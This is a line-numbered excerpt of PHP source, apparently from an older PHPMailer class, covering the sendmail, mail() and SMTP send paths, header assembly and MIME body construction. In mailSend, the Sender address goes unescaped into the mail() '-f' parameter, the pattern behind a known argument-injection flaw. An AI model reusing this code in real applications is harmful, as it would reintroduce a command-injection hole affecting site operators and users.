8959 if (method_exists($this, $sendMethod)) {
8960 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
8961 }
8962
8963 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8964 }
8965 } catch (phpmailerException $exc) {
8966 $this->setError($exc->getMessage());
8967 $this->edebug($exc->getMessage());
8968 if ($this->exceptions) {
8969 throw $exc;
8970 }
8971 }
8972 return false;
8973 }
8974
8975 /**
8976 * Send mail using the $Sendmail program.
8977 * @param string $header The message headers
8978 * @param string $body The message body
8979 * @see PHPMailer::$Sendmail
8980 * @throws phpmailerException
8981 * @access protected
8982 * @return boolean
8983 */
8984 protected function sendmailSend($header, $body)
8985 {
8986 if ($this->Sender != '') {
8987 if ($this->Mailer == 'qmail') {
8988 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8989 } else {
8990 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8991 }
8992 } else {
8993 if ($this->Mailer == 'qmail') {
8994 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
8995 } else {
8996 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
8997 }
8998 }
8999 if ($this->SingleTo) {
9000 foreach ($this->SingleToArray as $toAddr) {
9001 if (!@$mail = popen($sendmail, 'w')) {
9002 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9003 }
9004 fputs($mail, 'To: ' . $toAddr . "\n");
9005 fputs($mail, $header);
9006 fputs($mail, $body);
9007 $result = pclose($mail);
9008 $this->doCallback(
9009 ($result == 0),
9010 array($toAddr),
9011 $this->cc,
9012 $this->bcc,
9013 $this->Subject,
9014 $body,
9015 $this->From
9016 );
9017 if ($result != 0) {
9018 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9019 }
9020 }
9021 } else {
9022 if (!@$mail = popen($sendmail, 'w')) {
9023 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9024 }
9025 fputs($mail, $header);
9026 fputs($mail, $body);
9027 $result = pclose($mail);
9028 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9029 if ($result != 0) {
9030 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9031 }
9032 }
9033 return true;
9034 }
9035
9036 /**
9037 * Send mail using the PHP mail() function.
9038 * @param string $header The message headers
9039 * @param string $body The message body
9040 * @link http://www.php.net/manual/en/book.mail.php
9041 * @throws phpmailerException
9042 * @access protected
9043 * @return boolean
9044 */
9045 protected function mailSend($header, $body)
9046 {
9047 $toArr = array();
9048 foreach ($this->to as $toaddr) {
9049 $toArr[] = $this->addrFormat($toaddr);
9050 }
9051 $to = implode(', ', $toArr);
9052
9053 if (empty($this->Sender)) {
9054 $params = ' ';
9055 } else {
9056 $params = sprintf('-f%s', $this->Sender);
9057 }
9058 if ($this->Sender != '' and !ini_get('safe_mode')) {
9059 $old_from = ini_get('sendmail_from');
9060 ini_set('sendmail_from', $this->Sender);
9061 }
9062 $result = false;
9063 if ($this->SingleTo && count($toArr) > 1) {
9064 foreach ($toArr as $toAddr) {
9065 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
9066 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9067 }
9068 } else {
9069 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
9070 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9071 }
9072 if (isset($old_from)) {
9073 ini_set('sendmail_from', $old_from);
9074 }
9075 if (!$result) {
9076 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
9077 }
9078 return true;
9079 }
9080
9081 /**
9082 * Get an instance to use for SMTP operations.
9083 * Override this function to load your own SMTP implementation
9084 * @return SMTP
9085 */
9086 public function getSMTPInstance()
9087 {
9088 if (!is_object($this->smtp)) {
9089 $this->smtp = new SMTP;
9090 }
9091 return $this->smtp;
9092 }
9093
9094 /**
9095 * Send mail via SMTP.
9096 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
9097 * Uses the PHPMailerSMTP class by default.
9098 * @see PHPMailer::getSMTPInstance() to use a different class.
9099 * @param string $header The message headers
9100 * @param string $body The message body
9101 * @throws phpmailerException
9102 * @uses SMTP
9103 * @access protected
9104 * @return boolean
9105 */
9106 protected function smtpSend($header, $body)
9107 {
9108 $bad_rcpt = array();
9109
9110 if (!$this->smtpConnect()) {
9111 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
9112 }
9113 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
9114 if (!$this->smtp->mail($smtp_from)) {
9115 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
9116 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
9117 }
9118
9119 // Attempt to send to all recipients
9120 foreach ($this->to as $to) {
9121 if (!$this->smtp->recipient($to[0])) {
9122 $bad_rcpt[] = $to[0];
9123 $isSent = false;
9124 } else {
9125 $isSent = true;
9126 }
9127 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
9128 }
9129 foreach ($this->cc as $cc) {
9130 if (!$this->smtp->recipient($cc[0])) {
9131 $bad_rcpt[] = $cc[0];
9132 $isSent = false;
9133 } else {
9134 $isSent = true;
9135 }
9136 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
9137 }
9138 foreach ($this->bcc as $bcc) {
9139 if (!$this->smtp->recipient($bcc[0])) {
9140 $bad_rcpt[] = $bcc[0];
9141 $isSent = false;
9142 } else {
9143 $isSent = true;
9144 }
9145 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
9146 }
9147
9148 // Only send the DATA command if we have viable recipients
9149 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
9150 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
9151 }
9152 if ($this->SMTPKeepAlive) {
9153 $this->smtp->reset();
9154 } else {
9155 $this->smtp->quit();
9156 $this->smtp->close();
9157 }
9158 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
9159 throw new phpmailerException(
9160 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
9161 self::STOP_CONTINUE
9162 );
9163 }
9164 return true;
9165 }
9166
9167 /**
9168 * Initiate a connection to an SMTP server.
9169 * Returns false if the operation failed.
9170 * @param array $options An array of options compatible with stream_context_create()
9171 * @uses SMTP
9172 * @access public
9173 * @throws phpmailerException
9174 * @return boolean
9175 */
9176 public function smtpConnect($options = array())
9177 {
9178 if (is_null($this->smtp)) {
9179 $this->smtp = $this->getSMTPInstance();
9180 }
9181
9182 // Already connected?
9183 if ($this->smtp->connected()) {
9184 return true;
9185 }
9186
9187 $this->smtp->setTimeout($this->Timeout);
9188 $this->smtp->setDebugLevel($this->SMTPDebug);
9189 $this->smtp->setDebugOutput($this->Debugoutput);
9190 $this->smtp->setVerp($this->do_verp);
9191 $hosts = explode(';', $this->Host);
9192 $lastexception = null;
9193
9194 foreach ($hosts as $hostentry) {
9195 $hostinfo = array();
9196 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
9197 // Not a valid host entry
9198 continue;
9199 }
9200 // $hostinfo[2]: optional ssl or tls prefix
9201 // $hostinfo[3]: the hostname
9202 // $hostinfo[4]: optional port number
9203 // The host string prefix can temporarily override the current setting for SMTPSecure
9204 // If it's not specified, the default value is used
9205 $prefix = '';
9206 $tls = ($this->SMTPSecure == 'tls');
9207 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
9208 $prefix = 'ssl://';
9209 $tls = false; // Can't have SSL and TLS at once
9210 } elseif ($hostinfo[2] == 'tls') {
9211 $tls = true;
9212 // tls doesn't use a prefix
9213 }
9214 $host = $hostinfo[3];
9215 $port = $this->Port;
9216 $tport = (integer)$hostinfo[4];
9217 if ($tport > 0 and $tport < 65536) {
9218 $port = $tport;
9219 }
9220 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
9221 try {
9222 if ($this->Helo) {
9223 $hello = $this->Helo;
9224 } else {
9225 $hello = $this->serverHostname();
9226 }
9227 $this->smtp->hello($hello);
9228
9229 if ($tls) {
9230 if (!$this->smtp->startTLS()) {
9231 throw new phpmailerException($this->lang('connect_host'));
9232 }
9233 // We must resend HELO after tls negotiation
9234 $this->smtp->hello($hello);
9235 }
9236 if ($this->SMTPAuth) {
9237 if (!$this->smtp->authenticate(
9238 $this->Username,
9239 $this->Password,
9240 $this->AuthType,
9241 $this->Realm,
9242 $this->Workstation
9243 )
9244 ) {
9245 throw new phpmailerException($this->lang('authenticate'));
9246 }
9247 }
9248 return true;
9249 } catch (phpmailerException $exc) {
9250 $lastexception = $exc;
9251 // We must have connected, but then failed TLS or Auth, so close connection nicely
9252 $this->smtp->quit();
9253 }
9254 }
9255 }
9256 // If we get here, all connection attempts have failed, so close connection hard
9257 $this->smtp->close();
9258 // As we've caught all exceptions, just report whatever the last one was
9259 if ($this->exceptions and !is_null($lastexception)) {
9260 throw $lastexception;
9261 }
9262 return false;
9263 }
9264
9265 /**
9266 * Close the active SMTP session if one exists.
9267 * @return void
9268 */
9269 public function smtpClose()
9270 {
9271 if ($this->smtp !== null) {
9272 if ($this->smtp->connected()) {
9273 $this->smtp->quit();
9274 $this->smtp->close();
9275 }
9276 }
9277 }
9278
9279 /**
9280 * Set the language for error messages.
9281 * Returns false if it cannot load the language file.
9282 * The default language is English.
9283 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
9284 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
9285 * @return boolean
9286 * @access public
9287 */
9288 public function setLanguage($langcode = 'en', $lang_path = '')
9289 {
9290 // Define full set of translatable strings in English
9291 $PHPMAILER_LANG = array(
9292 'authenticate' => 'SMTP Error: Could not authenticate.',
9293 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
9294 'data_not_accepted' => 'SMTP Error: data not accepted.',
9295 'empty_message' => 'Message body empty',
9296 'encoding' => 'Unknown encoding: ',
9297 'execute' => 'Could not execute: ',
9298 'file_access' => 'Could not access file: ',
9299 'file_open' => 'File Error: Could not open file: ',
9300 'from_failed' => 'The following From address failed: ',
9301 'instantiate' => 'Could not instantiate mail function.',
9302 'invalid_address' => 'Invalid address',
9303 'mailer_not_supported' => ' mailer is not supported.',
9304 'provide_address' => 'You must provide at least one recipient email address.',
9305 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
9306 'signing' => 'Signing Error: ',
9307 'smtp_connect_failed' => 'SMTP connect() failed.',
9308 'smtp_error' => 'SMTP server error: ',
9309 'variable_set' => 'Cannot set or reset variable: '
9310 );
9311 if (empty($lang_path)) {
9312 // Calculate an absolute path so it can work if CWD is not here
9313 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
9314 }
9315 $foundlang = true;
9316 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
9317 if ($langcode != 'en') { // There is no English translation file
9318 // Make sure language file path is readable
9319 if (!is_readable($lang_file)) {
9320 $foundlang = false;
9321 } else {
9322 // Overwrite language-specific strings.
9323 // This way we'll never have missing translations.
9324 $foundlang = include $lang_file;
9325 }
9326 }
9327 $this->language = $PHPMAILER_LANG;
9328 return (boolean)$foundlang; // Returns false if language not found
9329 }
9330
9331 /**
9332 * Get the array of strings for the current language.
9333 * @return array
9334 */
9335 public function getTranslations()
9336 {
9337 return $this->language;
9338 }
9339
9340 /**
9341 * Create recipient headers.
9342 * @access public
9343 * @param string $type
9344 * @param array $addr An array of recipient,
9345 * where each recipient is a 2-element indexed array with element 0 containing an address
9346 * and element 1 containing a name, like:
9347 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
9348 * @return string
9349 */
9350 public function addrAppend($type, $addr)
9351 {
9352 $addresses = array();
9353 foreach ($addr as $address) {
9354 $addresses[] = $this->addrFormat($address);
9355 }
9356 return $type . ': ' . implode(', ', $addresses) . $this->LE;
9357 }
9358
9359 /**
9360 * Format an address for use in a message header.
9361 * @access public
9362 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
9363 * like array('joe@example.com', 'Joe User')
9364 * @return string
9365 */
9366 public function addrFormat($addr)
9367 {
9368 if (empty($addr[1])) { // No name provided
9369 return $this->secureHeader($addr[0]);
9370 } else {
9371 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
9372 $addr[0]
9373 ) . '>';
9374 }
9375 }
9376
9377 /**
9378 * Word-wrap message.
9379 * For use with mailers that do not automatically perform wrapping
9380 * and for quoted-printable encoded messages.
9381 * Original written by philippe.
9382 * @param string $message The message to wrap
9383 * @param integer $length The line length to wrap to
9384 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
9385 * @access public
9386 * @return string
9387 */
9388 public function wrapText($message, $length, $qp_mode = false)
9389 {
9390 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
9391 // If utf-8 encoding is used, we will need to make sure we don't
9392 // split multibyte characters when we wrap
9393 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
9394 $lelen = strlen($this->LE);
9395 $crlflen = strlen(self::CRLF);
9396
9397 $message = $this->fixEOL($message);
9398 if (substr($message, -$lelen) == $this->LE) {
9399 $message = substr($message, 0, -$lelen);
9400 }
9401
9402 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
9403 $message = '';
9404 for ($i = 0; $i < count($line); $i++) {
9405 $line_part = explode(' ', $line[$i]);
9406 $buf = '';
9407 for ($e = 0; $e < count($line_part); $e++) {
9408 $word = $line_part[$e];
9409 if ($qp_mode and (strlen($word) > $length)) {
9410 $space_left = $length - strlen($buf) - $crlflen;
9411 if ($e != 0) {
9412 if ($space_left > 20) {
9413 $len = $space_left;
9414 if ($is_utf8) {
9415 $len = $this->utf8CharBoundary($word, $len);
9416 } elseif (substr($word, $len - 1, 1) == '=') {
9417 $len--;
9418 } elseif (substr($word, $len - 2, 1) == '=') {
9419 $len -= 2;
9420 }
9421 $part = substr($word, 0, $len);
9422 $word = substr($word, $len);
9423 $buf .= ' ' . $part;
9424 $message .= $buf . sprintf('=%s', self::CRLF);
9425 } else {
9426 $message .= $buf . $soft_break;
9427 }
9428 $buf = '';
9429 }
9430 while (strlen($word) > 0) {
9431 if ($length <= 0) {
9432 break;
9433 }
9434 $len = $length;
9435 if ($is_utf8) {
9436 $len = $this->utf8CharBoundary($word, $len);
9437 } elseif (substr($word, $len - 1, 1) == '=') {
9438 $len--;
9439 } elseif (substr($word, $len - 2, 1) == '=') {
9440 $len -= 2;
9441 }
9442 $part = substr($word, 0, $len);
9443 $word = substr($word, $len);
9444
9445 if (strlen($word) > 0) {
9446 $message .= $part . sprintf('=%s', self::CRLF);
9447 } else {
9448 $buf = $part;
9449 }
9450 }
9451 } else {
9452 $buf_o = $buf;
9453 $buf .= ($e == 0) ? $word : (' ' . $word);
9454
9455 if (strlen($buf) > $length and $buf_o != '') {
9456 $message .= $buf_o . $soft_break;
9457 $buf = $word;
9458 }
9459 }
9460 }
9461 $message .= $buf . self::CRLF;
9462 }
9463
9464 return $message;
9465 }
9466
9467 /**
9468 * Find the last character boundary prior to $maxLength in a utf-8
9469 * quoted (printable) encoded string.
9470 * Original written by Colin Brown.
9471 * @access public
9472 * @param string $encodedText utf-8 QP text
9473 * @param integer $maxLength find last character boundary prior to this length
9474 * @return integer
9475 */
9476 public function utf8CharBoundary($encodedText, $maxLength)
9477 {
9478 $foundSplitPos = false;
9479 $lookBack = 3;
9480 while (!$foundSplitPos) {
9481 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
9482 $encodedCharPos = strpos($lastChunk, '=');
9483 if (false !== $encodedCharPos) {
9484 // Found start of encoded character byte within $lookBack block.
9485 // Check the encoded byte value (the 2 chars after the '=')
9486 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
9487 $dec = hexdec($hex);
9488 if ($dec < 128) { // Single byte character.
9489 // If the encoded char was found at pos 0, it will fit
9490 // otherwise reduce maxLength to start of the encoded char
9491 $maxLength = ($encodedCharPos == 0) ? $maxLength :
9492 $maxLength - ($lookBack - $encodedCharPos);
9493 $foundSplitPos = true;
9494 } elseif ($dec >= 192) { // First byte of a multi byte character
9495 // Reduce maxLength to split at start of character
9496 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
9497 $foundSplitPos = true;
9498 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
9499 $lookBack += 3;
9500 }
9501 } else {
9502 // No encoded character found
9503 $foundSplitPos = true;
9504 }
9505 }
9506 return $maxLength;
9507 }
9508
9509 /**
9510 * Set the body wrapping.
9511 * @access public
9512 * @return void
9513 */
9514 public function setWordWrap()
9515 {
9516 if ($this->WordWrap < 1) {
9517 return;
9518 }
9519
9520 switch ($this->message_type) {
9521 case 'alt':
9522 case 'alt_inline':
9523 case 'alt_attach':
9524 case 'alt_inline_attach':
9525 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
9526 break;
9527 default:
9528 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
9529 break;
9530 }
9531 }
9532
9533 /**
9534 * Assemble message headers.
9535 * @access public
9536 * @return string The assembled headers
9537 */
9538 public function createHeader()
9539 {
9540 $result = '';
9541
9542 // Set the boundaries
9543 $uniq_id = md5(uniqid(time()));
9544 $this->boundary[1] = 'b1_' . $uniq_id;
9545 $this->boundary[2] = 'b2_' . $uniq_id;
9546 $this->boundary[3] = 'b3_' . $uniq_id;
9547
9548 if ($this->MessageDate == '') {
9549 $this->MessageDate = self::rfcDate();
9550 }
9551 $result .= $this->headerLine('Date', $this->MessageDate);
9552
9553
9554 // To be created automatically by mail()
9555 if ($this->SingleTo) {
9556 if ($this->Mailer != 'mail') {
9557 foreach ($this->to as $toaddr) {
9558 $this->SingleToArray[] = $this->addrFormat($toaddr);
9559 }
9560 }
9561 } else {
9562 if (count($this->to) > 0) {
9563 if ($this->Mailer != 'mail') {
9564 $result .= $this->addrAppend('To', $this->to);
9565 }
9566 } elseif (count($this->cc) == 0) {
9567 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
9568 }
9569 }
9570
9571 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
9572
9573 // sendmail and mail() extract Cc from the header before sending
9574 if (count($this->cc) > 0) {
9575 $result .= $this->addrAppend('Cc', $this->cc);
9576 }
9577
9578 // sendmail and mail() extract Bcc from the header before sending
9579 if ((
9580 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
9581 )
9582 and count($this->bcc) > 0
9583 ) {
9584 $result .= $this->addrAppend('Bcc', $this->bcc);
9585 }
9586
9587 if (count($this->ReplyTo) > 0) {
9588 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
9589 }
9590
9591 // mail() sets the subject itself
9592 if ($this->Mailer != 'mail') {
9593 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
9594 }
9595
9596 if ($this->MessageID != '') {
9597 $this->lastMessageID = $this->MessageID;
9598 } else {
9599 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
9600 }
9601 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
9602 $result .= $this->headerLine('X-Priority', $this->Priority);
9603 if ($this->XMailer == '') {
9604 $result .= $this->headerLine(
9605 'X-Mailer',
9606 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
9607 );
9608 } else {
9609 $myXmailer = trim($this->XMailer);
9610 if ($myXmailer) {
9611 $result .= $this->headerLine('X-Mailer', $myXmailer);
9612 }
9613 }
9614
9615 if ($this->ConfirmReadingTo != '') {
9616 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
9617 }
9618
9619 // Add custom headers
9620 for ($index = 0; $index < count($this->CustomHeader); $index++) {
9621 $result .= $this->headerLine(
9622 trim($this->CustomHeader[$index][0]),
9623 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
9624 );
9625 }
9626 if (!$this->sign_key_file) {
9627 $result .= $this->headerLine('MIME-Version', '1.0');
9628 $result .= $this->getMailMIME();
9629 }
9630
9631 return $result;
9632 }
9633
9634 /**
9635 * Get the message MIME type headers.
9636 * @access public
9637 * @return string
9638 */
9639 public function getMailMIME()
9640 {
9641 $result = '';
9642 $ismultipart = true;
9643 switch ($this->message_type) {
9644 case 'inline':
9645 $result .= $this->headerLine('Content-Type', 'multipart/related;');
9646 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9647 break;
9648 case 'attach':
9649 case 'inline_attach':
9650 case 'alt_attach':
9651 case 'alt_inline_attach':
9652 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
9653 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9654 break;
9655 case 'alt':
9656 case 'alt_inline':
9657 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
9658 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9659 break;
9660 default:
9661 // Catches case 'plain': and case '':
9662 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
9663 $ismultipart = false;
9664 break;
9665 }
9666 // RFC1341 part 5 says 7bit is assumed if not specified
9667 if ($this->Encoding != '7bit') {
9668 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
9669 if ($ismultipart) {
9670 if ($this->Encoding == '8bit') {
9671 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
9672 }
9673 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
9674 } else {
9675 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
9676 }
9677 }
9678
9679 if ($this->Mailer != 'mail') {
9680 $result .= $this->LE;
9681 }
9682
9683 return $result;
9684 }
9685
9686 /**
9687 * Returns the whole MIME message.
9688 * Includes complete headers and body.
9689 * Only valid post preSend().
9690 * @see PHPMailer::preSend()
9691 * @access public
9692 * @return string
9693 */
9694 public function getSentMIMEMessage()
9695 {
9696 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
9697 }
9698
9699
9700 /**
9701 * Assemble the message body.
9702 * Returns an empty string on failure.
9703 * @access public
9704 * @throws phpmailerException
9705 * @return string The assembled message body
9706 */
9707 public function createBody()
9708 {
9709 $body = '';
9710
9711 if ($this->sign_key_file) {
9712 $body .= $this->getMailMIME() . $this->LE;
9713 }
9714
9715 $this->setWordWrap();
9716
9717 $bodyEncoding = $this->Encoding;
9718 $bodyCharSet = $this->CharSet;
9719 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
9720 $bodyEncoding = '7bit';
9721 $bodyCharSet = 'us-ascii';
9722 }
9723 $altBodyEncoding = $this->Encoding;
9724 $altBodyCharSet = $this->CharSet;
9725 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
9726 $altBodyEncoding = '7bit';
9727 $altBodyCharSet = 'us-ascii';
9728 }
9729 switch ($this->message_type) {
9730 case 'inline':
9731 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9732 $body .= $this->encodeString($this->Body, $bodyEncoding);
9733 $body .= $this->LE . $this->LE;
9734 $body .= $this->attachAll('inline', $this->boundary[1]);
9735 break;
9736 case 'attach':
9737 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9738 $body .= $this->encodeString($this->Body, $bodyEncoding);
9739 $body .= $this->LE . $this->LE;
9740 $body .= $this->attachAll('attachment', $this->boundary[1]);
9741 break;
9742 case 'inline_attach':
9743 $body .= $this->textLine('--' . $this->boundary[1]);
9744 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9745 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9746 $body .= $this->LE;
9747 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
9748 $body .= $this->encodeString($this->Body, $bodyEncoding);
9749 $body .= $this->LE . $this->LE;
9750 $body .= $this->attachAll('inline', $this->boundary[2]);
9751 $body .= $this->LE;
9752 $body .= $this->attachAll('attachment', $this->boundary[1]);
9753 break;
9754 case 'alt':
9755 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9756 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9757 $body .= $this->LE . $this->LE;
9758 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
9759 $body .= $this->encodeString($this->Body, $bodyEncoding);
9760 $body .= $this->LE . $this->LE;
9761 if (!empty($this->Ical)) {
9762 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
9763 $body .= $this->encodeString($this->Ical, $this->Encoding);
9764 $body .= $this->LE . $this->LE;
9765 }
9766 $body .= $this->endBoundary($this->boundary[1]);
9767 break;
9768 case 'alt_inline':
9769 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9770 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9771 $body .= $this->LE . $this->LE;
9772 $body .= $this->textLine('--' . $this->boundary[1]);
9773 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9774 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9775 $body .= $this->LE;
9776 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9777 $body .= $this->encodeString($this->Body, $bodyEncoding);
9778 $body .= $this->LE . $this->LE;
9779 $body .= $this->attachAll('inline', $this->boundary[2]);
9780 $body .= $this->LE;
9781 $body .= $this->endBoundary($this->boundary[1]);
9782 break;
9783 case 'alt_attach':
9784 $body .= $this->textLine('--' . $this->boundary[1]);
9785 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9786 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9787 $body .= $this->LE;
9788 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9789 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9790 $body .= $this->LE . $this->LE;
9791 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9792 $body .= $this->encodeString($this->Body, $bodyEncoding);
9793 $body .= $this->LE . $this->LE;
9794 $body .= $this->endBoundary($this->boundary[2]);
9795 $body .= $this->LE;
9796 $body .= $this->attachAll('attachment', $this->boundary[1]);
9797 break;
9798
9799 case 'alt_inline_attach':
9800 $body .= $this->textLine('--' . $this->boundary[1]);
9801 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9802 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9803 $body .= $this->LE;
9804 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9805 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9806 $body .= $this->LE . $this->LE;
9807 $body .= $this->textLine('--' . $this->boundary[2]);
9808 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9809 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
9810 $body .= $this->LE;
9811 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
9812 $body .= $this->encodeString($this->Body, $bodyEncoding);
9813 $body .= $this->LE . $this->LE;
9814 $body .= $this->attachAll('inline', $this->boundary[3]);
9815 $body .= $this->LE;
9816 $body .= $this->endBoundary($this->boundary[2]);
9817 $body .= $this->LE;
9818 $body .= $this->attachAll('attachment', $this->boundary[1]);
9819 break;
9820 default:
9821 // catch case 'plain' and case ''
9822 $body .= $this->encodeString($this->Body, $bodyEncoding);
9823 break;
9824 }
9825
9826 if ($this->isError()) {
9827 $body = '';
9828 } elseif ($this->sign_key_file) {
9829 try {
9830 if (!defined('PKCS7_TEXT')) {
9831 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
9832 }
9833 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
9834 $file = tempnam(sys_get_temp_dir(), 'mail');
9835 if (false === file_put_contents($file, $body)) {
9836 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
9837 }
9838 $signed = tempnam(sys_get_temp_dir(), 'signed');
9839 if (@openssl_pkcs7_sign(
9840 $file,
9841 $signed,
9842 'file://' . realpath($this->sign_cert_file),
9843 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
9844 null
9845 )
9846 ) {
9847 @unlink($file);
9848 $body = file_get_contents($signed);
9849 @unlink($signed);
9850 } else {
9851 @unlink($file);
9852 @unlink($signed);
9853 throw new phpmailerException($this->lang('signing') . openssl_error_string());
9854 }
9855 } catch (phpmailerException $exc) {
9856 $body = '';
9857 if ($this->exceptions) {
9858 throw $exc;
9859 }
9860 }
9861 }
9862 return $body;
9863 }
9864
9865 /**
9866 * Return the start of a message boundary.
9867 * @access protected
9868 * @param string $boundary
9869 * @param string $charSet
9870 * @param string $contentType
9871 * @param string $encoding
9872 * @return string
9873 */
9874 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
9875 {
9876 $result = '';
9877 if ($charSet == '') {
9878 $charSet = $this->CharSet;
9879 }
